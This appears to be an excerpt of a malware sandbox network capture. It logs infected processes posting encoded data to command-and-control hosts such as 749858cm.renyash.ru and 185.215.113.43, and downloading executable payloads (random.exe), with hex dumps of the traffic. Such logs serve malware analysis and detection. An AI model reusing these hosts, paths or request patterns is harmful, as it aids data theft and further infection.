Dec 16, 2024 13:17:44.570852041 CET	1236	IN	Data Raw: 8b ec b8 f8 15 00 00 e8 c3 ce 00 00 8b 45 08 8b 08 8b 50 04 a1 18 94 45 00 53 56 89 4d f4 8b 0d 1c 94 45 00 89 45 d4 57 8d 45 ec 89 55 e8 c7 45 ec 00 00 00 00 89 4d e0 e8 b2 ff ff ff 81 45 ec 3f 02 00 00 83 3d ec 0b 46 00 14 75 11 6a 00 6a 00 8d Data Ascii: EPESVMEEWEUEME?=FujjRL@ E$E=4@@EME EEuFu=uF@.=ujj@xFUEEEUU3=FF
Dec 16, 2024 13:17:44.690367937 CET	1236	IN	Data Raw: f7 ff ff 51 8d 55 e0 52 8d 45 dc 50 8d 4d e8 51 6a 00 8d 95 c0 ef ff ff 52 6a 00 ff 15 b8 10 40 00 8d 45 ec 50 6a 00 8d 4d c8 51 6a 00 ff 15 1c 10 40 00 46 3b 35 ec 0b 46 00 72 82 33 db 8b 3d 60 10 40 00 33 f6 8b 15 ec 0b 46 00 03 d6 81 fa 8d 00 Data Ascii: QUREPMQjRj@EPjMQj@F;5Fr3=`@3Fu$SPSSSSSSMQ@UR@F\|=@3,}Bq F}\|3l@au]E4HE\|FFt\|5P@=@T@E{=F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	50059	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:43.712369919 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:44.071949959 CET	1920	OUT	Data Raw: 5d 51 43 57 59 58 51 5a 5d 5a 59 53 57 58 5a 57 5a 50 5f 54 51 5d 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]QCWYXQZ]ZYSWXZWZP_TQ]RAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(Y"V=<$<]%=/4\.'(;W%:T) +)"F"#Y (
Dec 16, 2024 13:17:44.798832893 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:45.051492929 CET	948	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bYYbBiiiHkPWSGcOlVPwPlExFOQhRJJeYGGgek8sb4SqAQfMULS5LuH4qLpWP2oEV4ySkUPBXafdtSBOVnoqTdeMf4Tp4IO0CGi9Uh1Qj73tz9v4uOzOiDPuQCPNFyzuWuHaL245"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cae0b8642b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8443&min_rtt=1609&rtt_var=14272&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=25939&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 0e 24 13 32 13 23 00 20 09 3e 06 20 1e 30 0a 21 1a 38 01 24 42 26 0d 26 1e 32 0c 25 58 25 42 38 05 34 57 23 0f 24 1f 3c 53 31 27 23 5d 01 1b 27 43 24 3d 2a 5e 3f 3c 29 03 24 1e 21 18 26 10 3b 44 32 24 30 56 25 23 23 53 22 28 0c 58 2f 32 3a 10 28 01 3f 59 39 33 26 00 20 2e 21 52 0d 13 21 0c 33 01 39 06 27 22 24 04 20 1d 09 5c 35 1a 30 08 24 5a 27 18 32 14 2c 12 24 59 22 5b 31 01 2f 59 28 38 07 0f 23 22 23 0a 28 3e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:$2# > 0!8$B&&2%X%B84W#$<S1'#]'C$=*^?<)$!&;D2$0V%##S"(X/2:(?Y93& .!R!39'"$ \50$Z'2,$Y"[1/Y(8#"#(> R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	50064	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:43.853770018 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:44.212902069 CET	1060	OUT	Data Raw: 5d 51 43 56 59 5a 54 5b 5d 5a 59 53 57 52 5a 5f 5a 50 5f 5e 51 52 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]QCVYZT[]ZYSWRZ_ZP_^QRRAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ </)=^%0]0+# .+)+/Q12%)" 7*"F"#Y
Dec 16, 2024 13:17:44.950407028 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:45.184731960 CET	805	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OofgCJsliY04%2F2OgB6kfXxiczFxg4DfQYAT4wWgQp0R3PKSGg9QBLB8tqGZNRpN6gKMFLBL6zW%2FA3yHzXA6KRa%2BIXBPCsz6bPGwwjIXYZYsqbWzhuCz52i1Lx9oQqo7mHlJhhvsY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9caeff574241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3206&min_rtt=1644&rtt_var=3741&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=103216&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	50067	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:45.436167002 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:45.787863970 CET	1060	OUT	Data Raw: 5d 55 46 50 5c 5d 54 5a 5d 5a 59 53 57 5d 5a 52 5a 50 5f 58 51 59 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]UFP\]TZ]ZYSW]ZRZP_XQYRFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#<<5=-X'70+#-\7^?;+&""W)#3[*"F"#Y <
Dec 16, 2024 13:17:46.520862103 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:46.755429029 CET	810	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ous7CqfBRClaLAk3TpQvRzIf1XlM5J7w0gf%2FXNNqYYxf3%2F%2BwFYDtsieHZQZP3m62nriSqHmZ%2FZmW73bD0Kf9lqSBuJVCcYSoxhg7rp9mKC0lMdKLZ%2BG8MvoWxUER%2FgL8Pb5Bnwbu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cb8cdeb4297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4070&min_rtt=1605&rtt_var=5533&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=68451&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	50073	185.215.113.16	80	1012	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:46.630224943 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 16, 2024 13:17:47.965085983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:47 GMT Content-Type: application/octet-stream Content-Length: 3004928 Last-Modified: Mon, 16 Dec 2024 11:36:52 GMT Connection: keep-alive ETag: "676010d4-2dda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1-@WkD n1m1 @.rsrcD@.idata @rqqcubuq**@amadlxuep1-@.taggant01"-@
Dec 16, 2024 13:17:47.965112925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:47.965142965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:47.965167999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:47.965183973 CET	1236	IN	Data Raw: f5 2a b5 14 24 7c 82 da 47 49 a1 08 e0 35 23 bd 16 9d 3d c8 9e ef f4 86 31 cf 18 73 35 6b 25 58 51 17 90 8f 57 57 a9 54 28 50 41 56 b4 4e b0 b0 87 5f e5 94 fb 31 74 39 56 5e 35 24 2e fc 25 b9 b7 eb 51 45 cc 90 01 b8 21 1c 27 56 74 5e 6d 42 27 b0 Data Ascii: *$\|GI5#=1s5k%XQWWT(PAVN_1t9V^5$.%QE!'Vt^mB'5<JD#xS-0&2pO\|l5%d"Y"wQ)w043yT+%54O;a}p[T}#=43"tL5TTMj2\|+N4ev52T!EORF%8Gt(Kw3
Dec 16, 2024 13:17:47.965202093 CET	620	IN	Data Raw: 45 2b cf c4 04 03 75 16 1c f7 e1 93 dc 80 9e 9f 97 2d 29 e0 26 ec 81 1c a7 22 25 98 b3 d7 84 54 a4 4d 4d 4c 76 77 1a 0d b1 09 f9 41 8f 6b 05 64 00 cc a5 79 2e 1c 1e 57 0c 6d a4 01 35 ff a1 58 54 2b 1b 44 14 c7 eb b6 d3 18 22 ec 07 a8 c1 75 a2 ce Data Ascii: E+u-)&"%TMMLvwAkdy.Wm5XT+D"ul$xG1[-PH:tg(Y2rk9=lfghge5_XRIRNHm&y1g@}FkH6{b;Oo5Whlo,]('
Dec 16, 2024 13:17:47.965219021 CET	1236	IN	Data Raw: c0 5c 5d 46 73 17 fb 05 c1 6d 05 fc ab ea 3d cc 02 e3 ad 74 19 ec f4 09 81 df fc 38 14 0c 82 94 f2 5a e8 12 71 5f 34 61 fa 57 74 9b 0e 47 ca da e7 38 c4 43 e4 6b 3b 7b 12 3e 7a 1f c6 48 45 cc 1f 2d 30 ef 2b ef 71 21 9f e9 01 55 ae 9f e5 3d 16 93 Data Ascii: \]Fsm=t8Zq_4aWtG8Ck;{>zHE-0+q!U=38%GcWFV%hO&3-WmQ-uij`zXA^ 4uizGCFD\|fO&wIP1$,o$EjEp[E[P#\Ca@lN(-,5uclKP
Dec 16, 2024 13:17:47.965235949 CET	1236	IN	Data Raw: da 60 ad 52 3e cf d3 c9 da d1 ec d8 e2 2e 82 86 b7 bb 53 45 48 5b 7f 9c 9c 0d 84 bc 01 b1 9c 44 aa 8f 7f 40 87 57 70 a2 dc 3d 7e 03 67 62 11 98 a3 fa 74 7a 8d 6e ec 9e 77 60 d9 11 fd f7 90 cd 0e 39 32 cb ff 2b 52 98 14 77 a8 e1 96 d9 99 6a bf 66 Data Ascii: `R>.SEH[D@Wp=~gbtznw`92+RwjfPAw1~6v<&;_=mHK/;V#xx`@x38Ul8-GylYmNRKLDUNM(I@54Vn2;V@ Z\|d\Tn}
Dec 16, 2024 13:17:47.965358973 CET	1236	IN	Data Raw: 51 fb 04 37 66 6d 69 0b 1d 4e b8 56 9f 9f 5e 9b 75 29 c5 6b ca d4 6e d6 d6 1d dd 9c ef ae fc 11 97 6f 03 51 00 44 84 f0 cf 85 c3 da 6f 05 01 1a 73 ea 1e 41 47 cd d1 57 5b 14 3a 7e e5 c2 e5 80 0b 6c f7 9f d4 6b 67 a9 69 ac 48 0b 0d 77 78 45 32 75 Data Ascii: Q7fmiNV^u)knoQDosAGW[:~lkgiHwxE2u$>0P?m`mYu_2Bw4F4/M+Q'IgX.dJchETEM}j;wf49_=4if#,$-z}SM4_>Z^N'UOy*
Dec 16, 2024 13:17:47.965424061 CET	1236	IN	Data Raw: 73 a5 0f f6 a4 7c 3a ef 02 f7 f1 8c 0f 97 6f c3 35 47 79 7d 00 77 0e bf f3 a9 03 6e 15 eb 73 ae 11 f5 32 ef a6 9f da 4c 5f 32 1d 20 e8 56 39 37 98 96 1b bb 0c 8f fe 68 d7 65 13 6f 35 fc 0f de 16 bd 02 f4 7f 3f ce 10 64 67 1d d4 13 59 37 b0 57 4f Data Ascii: s\|:o5Gy}wns2L_2 V97heo5?dgY7WOM0#4H=u3e$"r%r,4\|md{*-Oy+\U~tA$t!hft@7Z2>9t%uUSw )kOliWDpl/mC_~/#X}J=d.1LpI2
Dec 16, 2024 13:17:48.085172892 CET	1236	IN	Data Raw: 8f 40 3b b4 7b 22 c2 a7 be dc 1f 78 4e ed b8 5e 10 17 78 dc bf ad 40 0f a6 a2 c3 0e 97 ef 09 60 e9 22 11 7a 1f 5a 30 d4 89 43 43 cd bd 83 84 64 63 c2 6b 20 5a 51 3f 88 78 34 51 1f 0e 21 14 19 76 cc 1b b6 7a 05 4b 64 b5 31 8b d8 87 b3 2d 55 8c 2b Data Ascii: @;{"xN^x@`"zZ0CCdck ZQ?x4Q!vzKd1-U+rCJ{)AN6+Cm4q[.k<Ge~.H3}Atp}IjP7D%uGn7HOvbLb5[k$FW)N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	50074	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:47.011506081 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:47.357790947 CET	1060	OUT	Data Raw: 58 54 46 54 59 5c 51 59 5d 5a 59 53 57 5f 5a 57 5a 5f 5f 5a 51 53 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTFTY\QY]ZYSW_ZWZ__ZQSRAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#<,))3$\0=34\,*?X++$1>U).74/X>8"F"#Y 4
Dec 16, 2024 13:17:48.096972942 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:48.346401930 CET	801	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZDwW5WwX6dnDz7UGO7LbwkwQ%2BYyfp6YuVh987vn%2BeI85fcGpCKWqxIlbBvSvlUAETwr6TjSTkWP6%2Fnr8Q%2FVGZe4QV5zcf0oiwiuHAaGnpYKyHgwuuH8t3QLXxnld60AAq4BAMzKZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cc2aebd1a3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4649&min_rtt=1949&rtt_var=6131&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=61993&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:17:48.538259029 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	50077	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:48.007608891 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016100001&unit=246122658369
Dec 16, 2024 13:17:49.344309092 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	50082	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:48.785381079 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:49.130640030 CET	1060	OUT	Data Raw: 5d 57 43 52 59 5a 54 5f 5d 5a 59 53 57 5a 5a 5f 5a 5f 5f 5f 51 5f 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]WCRYZT_]ZYSWZZ_Z___Q_R@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _)/2T)=;% ?3[7Z4:4\-0<0&"*-5\7'X(("F"#Y
Dec 16, 2024 13:17:49.870623112 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:50.119626045 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ueApnqCl8lEbS4nLWMjTxkOznZKAfX%2FBEbiZapVawZmoehKZPdXwmWNjc0S4xfGmzFyuuHG7RNcKbzXiJhDH0VMv7YNb%2BtImzKMsb9oGyenDFNt1aboIBtEboJ753zAw3VK88%2F9%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9ccdbd59c3ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3407&min_rtt=1662&rtt_var=4114&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=93440&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	50085	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:49.474842072 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:17:50.799030066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:50 GMT Content-Type: application/octet-stream Content-Length: 4447744 Last-Modified: Mon, 16 Dec 2024 10:56:34 GMT Connection: keep-alive ETag: "67600762-43de00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0d 1b 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 94 48 00 00 fc 74 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 b0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 ac 01 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 60 72 00 73 00 00 00 00 50 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 4a c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 49 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_g(Ht2`H@D@ _`rsPrJI @r6(@.rsrcPrF(@.idata `rH(@ p8prJ(@ozuicfapplL(@zbsadquuPC@.taggant0`"C@
Dec 16, 2024 13:17:50.799139977 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:50.799155951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:50.799206972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
